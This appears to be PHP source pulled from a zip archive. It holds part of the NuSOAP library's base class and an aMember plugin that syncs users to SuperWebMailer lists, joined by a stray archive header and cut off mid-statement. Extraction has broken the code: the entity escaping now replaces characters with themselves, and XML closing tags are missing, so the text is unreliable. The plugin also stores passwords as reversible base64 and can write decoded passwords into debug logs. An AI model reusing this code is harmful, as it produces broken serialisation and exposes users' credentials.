@var boolean * @access private */ var $charencoding = true; /** * the debug level for this instance * * @var integer * @access private */ var $debugLevel; /** * set schema version * * @var string * @access public */ var $XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema'; /** * charset encoding for outgoing messages * * @var string * @access public */ var $soap_defencoding = 'ISO-8859-1'; //var $soap_defencoding = 'UTF-8'; /** * namespaces in an array of prefix => uri * * this is "seeded" by a set of constants, but it may be altered by code * * @var array * @access public */ var $namespaces = array( 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', 'xsd' => 'http://www.w3.org/2001/XMLSchema', 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' ); /** * namespaces used in the current context, e.g. during serialization * * @var array * @access private */ var $usedNamespaces = array(); /** * XML Schema types in an array of uri => (array of xml type => php type) * is this legacy yet? * no, this is used by the nusoap_xmlschema class to verify type => namespace mappings. * @var array * @access public */ var $typemap = array( 'http://www.w3.org/2001/XMLSchema' => array( 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double', 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'', 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string', // abstract "any" types 'anyType'=>'string','anySimpleType'=>'string', // derived datatypes 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'', 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer', 'negativeInteger'=>'integer','long'=>'integer','int'=>'integer','short'=>'integer','byte'=>'integer','nonNegativeInteger'=>'integer', 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''), 'http://www.w3.org/2000/10/XMLSchema' => array( 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', 'float'=>'double','dateTime'=>'string', 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), 'http://www.w3.org/1999/XMLSchema' => array( 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', 'float'=>'double','dateTime'=>'string', 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'), 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array'), 'http://xml.apache.org/xml-soap' => array('Map') ); /** * XML entities to convert * * @var array * @access public * @deprecated * @see expandEntities */ var $xmlEntities = array('quot' => '"','amp' => '&', 'lt' => '<','gt' => '>','apos' => "'"); /** * constructor * * @access public */ function nusoap_base() { $this->debugLevel = $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; } /** * gets the global debug level, which applies to future instances * * @return integer Debug level 0-9, where 0 turns off * @access public */ function getGlobalDebugLevel() { return $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; } /** * sets the global debug level, which applies to future instances * * @param int $level Debug level 0-9, where 0 turns off * @access public */ function setGlobalDebugLevel($level) { $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel'] = $level; } /** * gets the debug level for this instance * * @return int Debug level 0-9, where 0 turns off * @access public */ function getDebugLevel() { return $this->debugLevel; } /** * sets the debug level for this instance * * @param int $level Debug level 0-9, where 0 turns off * @access public */ function setDebugLevel($level) { $this->debugLevel = $level; } /** * adds debug data to the instance debug string with formatting * * @param string $string debug data * @access private */ function debug($string){ if ($this->debugLevel > 0) { $this->appendDebug($this->getmicrotime().' '.get_class($this).": $string\n"); } } /** * adds debug data to the instance debug string without formatting * * @param string $string debug data * @access public */ function appendDebug($string){ if ($this->debugLevel > 0) { // it would be nice to use a memory stream here to use // memory more efficiently $this->debug_str .= $string; } } /** * clears the current debug data for this instance * * @access public */ function clearDebug() { // it would be nice to use a memory stream here to use // memory more efficiently $this->debug_str = ''; } /** * gets the current debug data for this instance * * @return debug data * @access public */ function &getDebug() { // it would be nice to use a memory stream here to use // memory more efficiently return $this->debug_str; } /** * gets the current debug data for this instance as an XML comment * this may change the contents of the debug data * * @return debug data as an XML comment * @access public */ function &getDebugAsXMLComment() { // it would be nice to use a memory stream here to use // memory more efficiently while (strpos($this->debug_str, '--')) { $this->debug_str = str_replace('--', '- -', $this->debug_str); } $ret = ""; return $ret; } /** * expands entities, e.g. changes '<' to '<'. * * @param string $val The string in which to expand entities. * @access private */ function expandEntities($val) { if ($this->charencoding) { $val = str_replace('&', '&', $val); $val = str_replace("'", ''', $val); $val = str_replace('"', '"', $val); $val = str_replace('<', '<', $val); $val = str_replace('>', '>', $val); } return $val; } /** * returns error string if present * * @return mixed error string or false * @access public */ function getError(){ if($this->error_str != ''){ return $this->error_str; } return false; } /** * sets error string * * @return boolean $string error string * @access private */ function setError($str){ $this->error_str = $str; } /** * detect if array is a simple array or a struct (associative array) * * @param mixed $val The PHP array * @return string (arraySimple|arrayStruct) * @access private */ function isArraySimpleOrStruct($val) { $keyList = array_keys($val); foreach ($keyList as $keyListValue) { if (!is_int($keyListValue)) { return 'arrayStruct'; } } return 'arraySimple'; } /** * serializes PHP values in accordance w/ section 5. Type information is * not serialized if $use == 'literal'. * * @param mixed $val The value to serialize * @param string $name The name (local part) of the XML element * @param string $type The XML schema type (local part) for the element * @param string $name_ns The namespace for the name of the XML element * @param string $type_ns The namespace for the type of the element * @param array $attributes The attributes to serialize as name=>value pairs * @param string $use The WSDL "use" (encoded|literal) * @param boolean $soapval Whether this is called from soapval. * @return string The serialized element, possibly with child elements * @access public */ function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false,$use='encoded',$soapval=false) { $this->debug("in serialize_val: name=$name, type=$type, name_ns=$name_ns, type_ns=$type_ns, use=$use, soapval=$soapval"); $this->appendDebug('value=' . $this->varDump($val)); $this->appendDebug('attributes=' . $this->varDump($attributes)); if (is_object($val) && get_class($val) == 'soapval' && (! $soapval)) { $this->debug("serialize_val: serialize soapval"); $xml = $val->serialize($use); $this->appendDebug($val->getDebug()); $val->clearDebug(); $this->debug("serialize_val of soapval returning $xml"); return $xml; } // force valid name if necessary if (is_numeric($name)) { $name = '__numeric_' . $name; } elseif (! $name) { $name = 'noname'; } // if name has ns, add ns prefix to name $xmlns = ''; if($name_ns){ $prefix = 'nu'.rand(1000,9999); $name = $prefix.':'.$name; $xmlns .= " xmlns:$prefix=\"$name_ns\""; } // if type is prefixed, create type prefix if($type_ns != '' && $type_ns == $this->namespaces['xsd']){ // need to fix this. shouldn't default to xsd if no ns specified // w/o checking against typemap $type_prefix = 'xsd'; } elseif($type_ns){ $type_prefix = 'ns'.rand(1000,9999); $xmlns .= " xmlns:$type_prefix=\"$type_ns\""; } // serialize attributes if present $atts = ''; if($attributes){ foreach($attributes as $k => $v){ $atts .= " $k=\"".$this->expandEntities($v).'"'; } } // serialize null value if (is_null($val)) { $this->debug("serialize_val: serialize null"); if ($use == 'literal') { // TODO: depends on minOccurs $xml = "<$name$xmlns$atts/>"; $this->debug("serialize_val returning $xml"); return $xml; } else { if (isset($type) && isset($type_prefix)) { $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = ''; } $xml = "<$name$xmlns$type_str$atts xsi:nil=\"true\"/>"; $this->debug("serialize_val returning $xml"); return $xml; } } // serialize if an xsd built-in primitive type if($type != '' && isset($this->typemap[$this->XMLSchemaVersion][$type])){ $this->debug("serialize_val: serialize xsd built-in primitive type"); if (is_bool($val)) { if ($type == 'boolean') { $val = $val ? 'true' : 'false'; } elseif (! $val) { $val = 0; } } else if (is_string($val)) { $val = $this->expandEntities($val); } if ($use == 'literal') { $xml = "<$name$xmlns$atts>$val"; $this->debug("serialize_val returning $xml"); return $xml; } else { $xml = "<$name$xmlns xsi:type=\"xsd:$type\"$atts>$val"; $this->debug("serialize_val returning $xml"); return $xml; } } // detect type and serialize $xml = ''; switch(true) { case (is_bool($val) || $type == 'boolean'): $this->debug("serialize_val: serialize boolean"); if ($type == 'boolean') { $val = $val ? 'true' : 'false'; } elseif (! $val) { $val = 0; } if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:boolean\"$atts>$val"; } break; case (is_int($val) || is_long($val) || $type == 'int'): $this->debug("serialize_val: serialize int"); if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:int\"$atts>$val"; } break; case (is_float($val)|| is_double($val) || $type == 'float'): $this->debug("serialize_val: serialize float"); if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:float\"$atts>$val"; } break; case (is_string($val) || $type == 'string'): $this->debug("serialize_val: serialize string"); $val = $this->expandEntities($val); if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$val"; } else { $xml .= "<$name$xmlns xsi:type=\"xsd:string\"$atts>$val"; } break; case is_object($val): $this->debug("serialize_val: serialize object"); if (get_class($val) == 'soapval') { $this->debug("serialize_val: serialize soapval object"); $pXml = $val->serialize($use); $this->appendDebug($val->getDebug()); $val->clearDebug(); } else { if (! $name) { $name = get_class($val); $this->debug("In serialize_val, used class name $name as element name"); } else { $this->debug("In serialize_val, do not override name $name for element name for class " . get_class($val)); } foreach(get_object_vars($val) as $k => $v){ $pXml = isset($pXml) ? $pXml.$this->serialize_val($v,$k,false,false,false,false,$use) : $this->serialize_val($v,$k,false,false,false,false,$use); } } if(isset($type) && isset($type_prefix)){ $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = ''; } if ($use == 'literal') { $xml .= "<$name$xmlns$atts>$pXml"; } else { $xml .= "<$name$xmlns$type_str$atts>$pXml"; } break; break; case (is_array($val) || $type): // detect if struct or array $valueType = $this->isArraySimpleOrStruct($val); if($valueType=='arraySimple' || preg_match('/^ArrayOf/',$type)){ $this->debug("serialize_val: serialize array"); $i = 0; if(is_array($val) && count($val)> 0){ foreach($val as $v){ if(is_object($v) && get_class($v) == 'soapval'){ $tt_ns = $v->type_ns; $tt = $v->type; } elseif (is_array($v)) { $tt = $this->isArraySimpleOrStruct($v); } else { $tt = gettype($v); } $array_types[$tt] = 1; // TODO: for literal, the name should be $name $xml .= $this->serialize_val($v,'item',false,false,false,false,$use); ++$i; } if(count($array_types) > 1){ $array_typename = 'xsd:anyType'; } elseif(isset($tt) && isset($this->typemap[$this->XMLSchemaVersion][$tt])) { if ($tt == 'integer') { $tt = 'int'; } $array_typename = 'xsd:'.$tt; } elseif(isset($tt) && $tt == 'arraySimple'){ $array_typename = 'SOAP-ENC:Array'; } elseif(isset($tt) && $tt == 'arrayStruct'){ $array_typename = 'unnamed_struct_use_soapval'; } else { // if type is prefixed, create type prefix if ($tt_ns != '' && $tt_ns == $this->namespaces['xsd']){ $array_typename = 'xsd:' . $tt; } elseif ($tt_ns) { $tt_prefix = 'ns' . rand(1000, 9999); $array_typename = "$tt_prefix:$tt"; $xmlns .= " xmlns:$tt_prefix=\"$tt_ns\""; } else { $array_typename = $tt; } } $array_type = $i; if ($use == 'literal') { $type_str = ''; } else if (isset($type) && isset($type_prefix)) { $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\""; } // empty array } else { if ($use == 'literal') { $type_str = ''; } else if (isset($type) && isset($type_prefix)) { $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"xsd:anyType[0]\""; } } // TODO: for array in literal, there is no wrapper here $xml = "<$name$xmlns$type_str$atts>".$xml.""; } else { // got a struct $this->debug("serialize_val: serialize struct"); if(isset($type) && isset($type_prefix)){ $type_str = " xsi:type=\"$type_prefix:$type\""; } else { $type_str = ''; } if ($use == 'literal') { $xml .= "<$name$xmlns$atts>"; } else { $xml .= "<$name$xmlns$type_str$atts>"; } foreach($val as $k => $v){ // Apache Map if ($type == 'Map' && $type_ns == 'http://xml.apache.org/xml-soap') { $xml .= ''; $xml .= $this->serialize_val($k,'key',false,false,false,false,$use); $xml .= $this->serialize_val($v,'value',false,false,false,false,$use); $xml .= ''; } else { $xml .= $this->serialize_val($v,$k,false,false,false,false,$use); } } $xml .= ""; } break; default: $this->debug("serialize_val: serialize unknown"); $xml .= 'not detected, got '.gettype($val).' for '.$val; break; } $this->debug("serialize_val returning $xml"); return $xml; } /** * serializes a message * * @param string $body the XML of the SOAP body * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array * @param array $namespaces optional the namespaces used in generating the body and headers * @param string $style optional (rpc|document) * @param string $use optional (encoded|literal) * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) * @return string the message * @access public */ function serializeEnvelope($body,$headers=false,$namespaces=array(),$style='rpc',$use='encoded',$encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'){ // TODO: add an option to automatically run utf8_encode on $body and $headers // if $this->soap_defencoding is UTF-8. Not doing this automatically allows // one to send arbitrary UTF-8 characters, not just characters that map to ISO-8859-1 $this->debug("In serializeEnvelope length=" . strlen($body) . " body (max 1000 characters)=" . substr($body, 0, 1000) . " style=$style use=$use encodingStyle=$encodingStyle"); $this->debug("headers:"); $this->appendDebug($this->varDump($headers)); $this->debug("namespaces:"); $this->appendDebug($this->varDump($namespaces)); // serialize namespaces $ns_string = ''; foreach(array_merge($this->namespaces,$namespaces) as $k => $v){ $ns_string .= " xmlns:$k=\"$v\""; } if($encodingStyle) { $ns_string = " SOAP-ENV:encodingStyle=\"$encodingStyle\"$ns_string"; } // serialize headers if($headers){ if (is_array($headers)) { $xml = ''; foreach ($headers as $k => $v) { if (is_object($v) && get_class($v) == 'soapval') { $xml .= $this->serialize_val($v, false, false, false, false, false, $use); } else { $xml .= $this->serialize_val($v, $k, false, false, false, false, $use); } } $headers = $xml; $this->debug("In serializeEnvelope, serialized array of headers to $headers"); } $headers = "".$headers.""; } // serialize envelope return 'soap_defencoding .'"?'.">". '". $headers. "". $body. "". ""; } /** * formats a string to be inserted into an HTML stream * * @param string $str The string to format * @return string The formatted string * @access public * @deprecated */ function formatDump($str){ $str = htmlspecialchars($str); return nl2br($str); } /** * contracts (changes namespace to prefix) a qualified name * * @param string $qname qname * @return string contracted qname * @access private */ function contractQname($qname){ // get element namespace //$this->xdebug("Contract $qname"); if (strrpos($qname, ':')) { // get unqualified name $name = substr($qname, strrpos($qname, ':') + 1); // get ns $ns = substr($qname, 0, strrpos($qname, ':')); $p = $this->getPrefixFromNamespace($ns); if ($p) { return $p . ':' . $name; } return $qname; } else { return $qname; } } /** * expands (changes prefix to namespace) a qualified name * * @param string $qname qname * @return string expanded qname * @access private */ function expandQname($qname){ // get element prefix if(strpos($qname,':') && !preg_match('/^http:\/\//',$qname)){ // get unqualified name $name = substr(strstr($qname,':'),1); // get ns prefix $prefix = substr($qname,0,strpos($qname,':')); if(isset($this->namespaces[$prefix])){ return $this->namespaces[$prefix].':'.$name; } else { return $qname; } } else { return $qname; } } /** * returns the local part of a prefixed string * returns the original string, if not prefixed * * @param string $str The prefixed string * @return string The local part * @access public */ function getLocalPart($str){ if($sstr = strrchr($str,':')){ // get unqualified name return substr( $sstr, 1 ); } else { return $str; } } /** * returns the prefix part of a prefixed string * returns false, if not prefixed * * @param string $str The prefixed string * @return mixed The prefix or false if there is no prefix * @access public */ function getPrefix($str){ if($pos = strrpos($str,':')){ // get prefix return substr($str,0,$pos); } return false; } /** * pass it a prefix, it returns a namespace * * @param string $prefix The prefix * @return mixed The namespace, false if no namespace has the specified prefix * @access public */ function getNamespaceFromPrefix($prefix){ if (isset($this->namespaces[$prefix])) { return $this->namespaces[$prefix]; } //$this->setError("No namespace registered for prefix '$prefix'"); return false; } /** * returns the prefix for a given namespace (or prefix) * or false if no prefixes registered for the given namespace * * @param string $ns The namespace * @return mixed The prefix, false if the namespace has no prefixes * @access public */ function getPrefixFromNamespace($ns) { foreach ($this->namespaces as $p => $n) { if ($ns == $n || $ns == $p) { $this->usedNamespaces[$p] = $n; return $p; } } return false; } /** * returns the time in ODBC canonical form with microseconds * * @return string The time in ODBC canonical form with microseconds * @access public */ function getmicrotime() { if (function_exists('gettimeofday')) { $tod = gettimeofday(); $sec = $tod['sec']; $usec = $tod['usec']; } else { $sec = time(); $usec = 0; } return strftime('%Y-%m-%d %H:%M:%S', $sec) . '.' . sprintf('%06d', $usec); } /** * Returns a string with the output of var_dump * * @param mixed $data The variable to var_dump * @return string The output of var_dump * @access public */ function varDump($data) { ob_start(); var_dump($data); $ret_val = ob_get_contents(); ob_end_clean(); return $ret_val; } /** * represents the object as a string * * @return string * @access public */ function __toString() { return $this->varDump($this); } } // XML Schema Datatype Helper Functions //xsd:dateTime helpers /** * convert unix timestamp to ISO 8601 compliant date string * * @param int $timestamp Unix time stamp * @param boolean $utc Whether the time stamp is UTC or local * @return mixed ISO 8601 date string or false * @access public */ function timestamp_to_iso8601($timestamp,$utc=true){ $datestr = date('Y-m-d\TH:i:sO',$timestamp); $pos = strrpos($datestr, "+"); if ($pos === FALSE) { $pos = strrpos($datestr, "-"); } if ($pos !== FALSE) { if (strlen($datestr) == $pos + 5) { $datestr = substr($datestr, 0, $pos + 3) . ':' . substr($datestr, -2); } } if($utc){ $pattern = '/'. '([0-9]{4})-'. // centuries & years CCYY- '([0-9]{2})-'. // months MM- '([0-9]{2})'. // days DD 'T'. // separator T '([0-9]{2}):'. // hours hh: '([0-9]{2}):'. // minutes mm: '([0-9]{2})(\.[0-9]*)?'. // seconds ss.ss... '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's '/'; if(preg_match($pattern,$datestr,$regs)){ return sprintf('%04d-%02d-%02dT%02d:%02d:%02dZ',$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]); } return false; } else { return $datestr; } } /** * convert ISO 8601 compliant date string to unix timestamp * * @param string $datestr ISO 8601 compliant date string * @return mixed Unix timestamp (int) or false * @access public */ function iso8601_to_timestamp($datestr){ $pattern = '/'. '([0-9]{4})-'. // centuries & years CCYY- '([0-9]{2})-'. // months MM- '([0-9]{2})'. // days DD 'T'. // separator T '([0-9]{2}):'. // hours hh: '([0-9]{2}):'. // minutes mm: '([0-9]{2})(\.[0-9]+)?'. // seconds ss.ss... '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's '/'; if(preg_match($pattern,$datestr,$regs)){ // not utc if($regs[8] != 'Z'){ $op = substr($regs[8],0,1); $h = substr($regs[8],1,2); $m = substr($regs[8],strlen($regs[8])-2,2); if($op == '-'){ $regs[4] = $regs[4] + $h; $regs[5] = $regs[5] + $m; } elseif($op == '+'){ $regs[4] = $regs[4] - $h; $regs[5] = $regs[5] - $m; } } return gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); // return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z"); } else { return false; } } /** * sleeps some number of microseconds * * @param string $usec the number of microseconds to sleep * @access public * @deprecated */ function usleepWindows($usec) { $start = gettimeofday(); do { $stop = gettimeofday(); $timePassed = 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec']; } while ($timePassed < $usec); } ?>PKq\ߑBB!superwebmailer/superwebmailer.phpnu[ self::IN_GLOBAL_DOMAIN_BLOCKLIST, 'GlobalBlocklist' => self::IN_GLOBAL_BLOCKLIST, 'LocalDomainBlocklist' => self::IN_LOCAL_DOMAIN_BLOCKLIST, 'LocalBlocklist' => self::IN_LOCAL_BLOCKLIST ); protected function _initSetupForm(Am_Form_Setup $form) { $form->setTitle('SuperWebMailer'); $form->addText('api_key', array('class' => 'el-wide')) ->setLabel("API Key") ->addRule('required'); $form->addText('api_url', array('class' => 'el-wide')) ->setLabel("Full API URL\n" . "eg., http://{your_domain}/{your_install_swm_directory}/api/api.php") ->addRule('required'); if($this->isConfigured()) { $form->addSortableMagicSelect('amember_fields') ->setLabel("Pass additional fields from aMember") ->loadOptions($this->getAmemberOptions()); $form->addSortableMagicSelect('swm_fields') ->setLabel("to SWM") ->loadOptions($this->getSWMOptions()); $opt = array(); foreach ($this->getLists() as $k => $l) $opt[$k] = '#' . $k . ' - ' . $l['title']; $form->addMagicSelect('double_optin') ->setLabel("Enabled Double Optin for these lists") ->loadOptions($opt); } $form->addAdvCheckbox('check_blocklists') ->setLabel("Check All Emails at Blocklists\n" . "before subscribing"); $form->addAdvCheckbox('send_pass') ->setLabel("Send Password to SWM\n" . "it's not safe\npasswords are not stored encrypted at SWM"); $form->addAdvCheckbox('debud_mode') ->setLabel("Debug Mode Enabled\n" . "write debug info to logs\nit's recommended enable it at the first time"); } protected function getAmemberOptions() { $sqlFields = $this->getDi()->userTable->getFields(true); $f = array_combine($sqlFields, $sqlFields); $allAdditionalFields = array_keys($this->getDi()->userTable->customFields()->getAll()); $f2 = array_combine($allAdditionalFields,$allAdditionalFields); $opts = array_merge($f, $f2); unset ($opts['email']); unset ($opts['name_f']); unset ($opts['name_l']); unset ($opts['pass']); return $opts; } protected function getSWMOptions() { $allFields = $this->getClient()->call('api_Common.api_getRecipientsFieldnames', array('apiLanguageCode' => 'en'), '', '', false, true); $opts = array(); foreach ($allFields as $f) $opts[$f['fieldname']] = $f['text'] . " (" . $f['fieldname'] . ")"; unset ($opts['u_EMail']); unset ($opts['u_FirstName']); unset ($opts['u_LastName']); unset ($opts['u_Password']); return $opts; } public function isConfigured() { return $this->getConfig('api_key') && $this->getConfig('api_url'); } public function getLists() { if(!$this->isConfigured()) return; $ret = array(); $swmLists = $this->getClient()->call('api_Mailinglists.api_getMailingLists', array(), '', '', false, true); // $this->debugLog("getMailingLists - response: " . json_encode($swmLists)); foreach ($swmLists as $list) { $swmListId = $list['id']; $swmListName = $list['Name']; $ret[$swmListId . '-0'] = array( 'title' => $swmListName, ); $swmGroups = $this->getClient()->call('api_Mailinglists.api_getMailingListGroups', array('apiMailingListId' => $swmListId), '', '', false, true); // $this->debugLog("getMailingListGroups[listId=$swmListId] - response: " . json_encode($swmGroups)); foreach($swmGroups as $group) { $swmGroupId = $group['id']; $swmGroupName = $group['Name']; $ret[$swmListId . '-' . $swmGroupId] = array( 'title' => $swmListName . ' / ' . $swmGroupName ); } } // $this->debugLog("getLists - result: " . json_encode($ret)); return $ret; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { if(!$this->isConfigured()) return; foreach ($addLists as $list) { list($lId, $gId) = explode('-', $list); $uid = $user->data()->get(self::USER_DATA_SWM_LISTS . $lId); if (!$uid) { switch ($this->checkBlockLists($user->email, $lId)) { case self::IN_GLOBAL_DOMAIN_BLOCKLIST: case self::IN_GLOBAL_BLOCKLIST: case self::IN_LOCAL_DOMAIN_BLOCKLIST: return false; case self::IN_LOCAL_BLOCKLIST: $doubleOptIn = true; break; case self::NOT_IN_BLOCKLIST: $doubleOptIn = (bool)in_array($list, $this->getConfig('double_optin', array())); break; } $this->addSubs($user, $list, $doubleOptIn); } if($gId) $this->addGrs($user, $lId, $gId); } $delFromList = array(); $activeLists = $this->getActiveLists($user); foreach ($deleteLists as $list) { list($lId, $gId) = explode('-', $list); $uid = $user->data()->get(self::USER_DATA_SWM_LISTS . $lId); if (!$uid) continue; if($gId) $this->delGrs($user, $lId, $gId); $delFromList[] = $lId; unset($activeLists[$list]); } if(!empty($delFromList)) { $activePluginListIds = array(); foreach ($activeLists as $al) { list($lId, ) = explode('-', $al); $activePluginListIds[] = $lId; } foreach ($delFromList as $delList) if(!in_array($delList, $activePluginListIds)) $this->delSubs($user, $delList); } return true; } function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { if(!$this->isConfigured()) return; $user = $event->getUser(); $lists = $this->getActiveLists($user); if(empty($lists)) return; $isUpdated = array(); foreach ($lists as $list) { list($lId, ) = explode('-', $list); $uid = $user->data()->get(self::USER_DATA_SWM_LISTS . $lId); if (!$uid) { switch ($this->checkBlockLists($user->email, $lId)) { case self::IN_GLOBAL_DOMAIN_BLOCKLIST: case self::IN_GLOBAL_BLOCKLIST: case self::IN_LOCAL_DOMAIN_BLOCKLIST: return; case self::IN_LOCAL_BLOCKLIST: $doubleOptIn = true; break; case self::NOT_IN_BLOCKLIST: $doubleOptIn = (bool)in_array($list, $this->getConfig('double_optin', array())); break; } $this->addSubs($user, $list, $doubleOptIn); continue; } if(in_array($lId, $isUpdated)) continue; $data = $this->getApiData($user); if($pass = $user->data()->get(self::PSSWD_2_SWM)) $data['u_Password'] = base64_decode($pass); $params = array( "apiMailingListId" => $lId, "apiRecipientId" => $uid, "apiData" => $data, ); $result = $this->getClient()->call('api_Recipients.api_editRecipient', $params, '', '', false, true); $this->debugLog("editRecipient - request: " . json_encode($params)); if($this->getClient()->fault) { $this->errorLog("editRecipient - " . $result['faultstring']); return false; } $this->debugLog("User #{$user->pk()}/{$user->login} was updated"); $isUpdated[] = $lId; } } public function onSetPassword(Am_Event_SetPassword $event) { if(!$this->getConfig('send_pass', false)) return; $user = $event->getUser(); $pass = $event->getPassword(); $user->data()->set(self::PSSWD_2_SWM, base64_encode($pass))->update(); } protected function getClient() { if(!$this->client) { if(!class_exists('nusoap_client', false)) require_once dirname(__FILE__) . '/lib/nusoap.php'; $this->client = new nusoap_client($this->getConfig('api_url')); if ($err = $this->client->getError()) throw new Am_Exception_InternalError(self::LOG_PREFIX_ERROR . 'nusoap_client creating error: ' . $err); $this->client->soap_defencoding = 'UTF-8'; $this->client->setHeaders(array('APIToken' => $this->getConfig('api_key'))); } return $this->client; } protected function getApiData(User $user) { $ret = array( "u_EMail" => $user->email, "u_LastName" => $user->name_l, "u_FirstName" => $user->name_f, ); $amFileds = $this->getConfig('amember_fields', array()); $swmFileds = $this->getConfig('swm_fields', array()); if(count($amFileds) != count($swmFileds)) throw new Am_Exception_InternalError(self::LOG_PREFIX_ERROR . "wrong configured amember/swm fields"); foreach ($swmFileds as $k => $swmField) { $val = (isset($user->{$amFileds[$k]})) ? $user->{$amFileds[$k]} : $user->data()->get($amFileds[$k]); $ret[$swmField] = $val; } return $ret; } protected function getActiveLists(User $user) { $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[$list->plugin_list_id] = $list->plugin_list_id; } return $lists; } protected function addSubs(User $user, $list, $doubleOptIn) { list($listId, ) = explode('-', $list); $data = $this->getApiData($user); if($pass = $user->data()->get(self::PSSWD_2_SWM)) $data['u_Password'] = base64_decode($pass); $params = array( "apiMailingListId" => $listId, "apiData" => $data, "apiarrayGroupsIds" => array(), "apiUseDoubleOptIn" => $doubleOptIn ); $result = $this->getClient()->call('api_Recipients.api_createRecipient', $params, '', '', false, true); $this->debugLog("createRecipient - request: " . json_encode($params)); if($this->getClient()->fault) { $this->errorLog("createRecipient - " . $result['faultstring']); return false; } $user->data()->set(self::USER_DATA_SWM_LISTS . $listId, $result)->update(); $this->debugLog("User #{$user->pk()}/{$user->login} was subscribed to list #{$listId} as swm_id #{$result}"); return true; } protected function delSubs(User $user, $listId) { $uid = $user->data()->get(self::USER_DATA_SWM_LISTS . $listId); if (!$uid) return; $params = array( "apiMailingListId" => $listId, "apiRecipientIds" => $uid, ); $result = $this->getClient()->call('api_Recipients.api_removeRecipient', $params, '', '', false, true); $this->debugLog("removeRecipient - request: " . json_encode($params)); if($this->getClient()->fault) { $this->errorLog("removeRecipient - " . $result['faultstring']); return false; } $user->data()->set(self::USER_DATA_SWM_LISTS . $listId, null)->update(); $this->debugLog("User #{$user->pk()}/{$user->login} was unsubscribed to list #{$listId} as swm_id #{$uid}"); } protected function addGrs(User $user, $listId, $groupId) { $params = array( "apiMailingListId" => $listId, "apiRecipientIds" => (array)$user->data()->get(self::USER_DATA_SWM_LISTS . $listId), "apiGroupIds" => (array)$groupId, "apiRemoveCurrentGroupsAssignment" => false ); $result = $this->getClient()->call('api_Recipients.api_assignRecipientsToGroups', $params, '', '', false, true); $this->debugLog("assignRecipientsToGroups - request: " . json_encode($params)); if($this->getClient()->fault) { $this->errorLog("assignRecipientsToGroups - " . $result['faultstring']); return false; } $this->debugLog("User #{$user->pk()}/{$user->login} was assigned to group#{$groupId} at list #{$listId}"); } protected function delGrs(User $user, $listId, $groupId) { $params = array( "apiMailingListId" => $listId, "apiRecipientIds" => (array)$user->data()->get(self::USER_DATA_SWM_LISTS . $listId), "apiGroupIds" => (array)$groupId ); $result = $this->getClient()->call('api_Recipients.api_removeRecipientsFromGroups', $params, '', '', false, true); $this->debugLog("removeRecipientsFromGroups - request: " . json_encode($params)); if($this->getClient()->fault) { $this->errorLog("removeRecipientsFromGroups - " . $result['faultstring']); return false; } $this->debugLog("User #{$user->pk()}/{$user->login} was deleted from group#{$groupId} at list #{$listId}"); } protected function checkBlockLists($email, $listId) { if($this->getConfig('check_blocklists')) { foreach ($this->blockLists as $blockList => $res) { $params = ($res > 0) ? array("apiMailingListId" => $listId, "apiEMail" => $email) : array("apiEMail" => $email); $result = $this->getClient()->call('api_Recipients.api_isEMailIn' . $blockList, $params, '', '', false, true); $this->debugLog("isEMailIn{$blockList} - request: " . json_encode($params)); if($this->getClient()->fault) { $this->errorLog("isEMailIn{$blockList} - " . $result['faultstring']); throw new 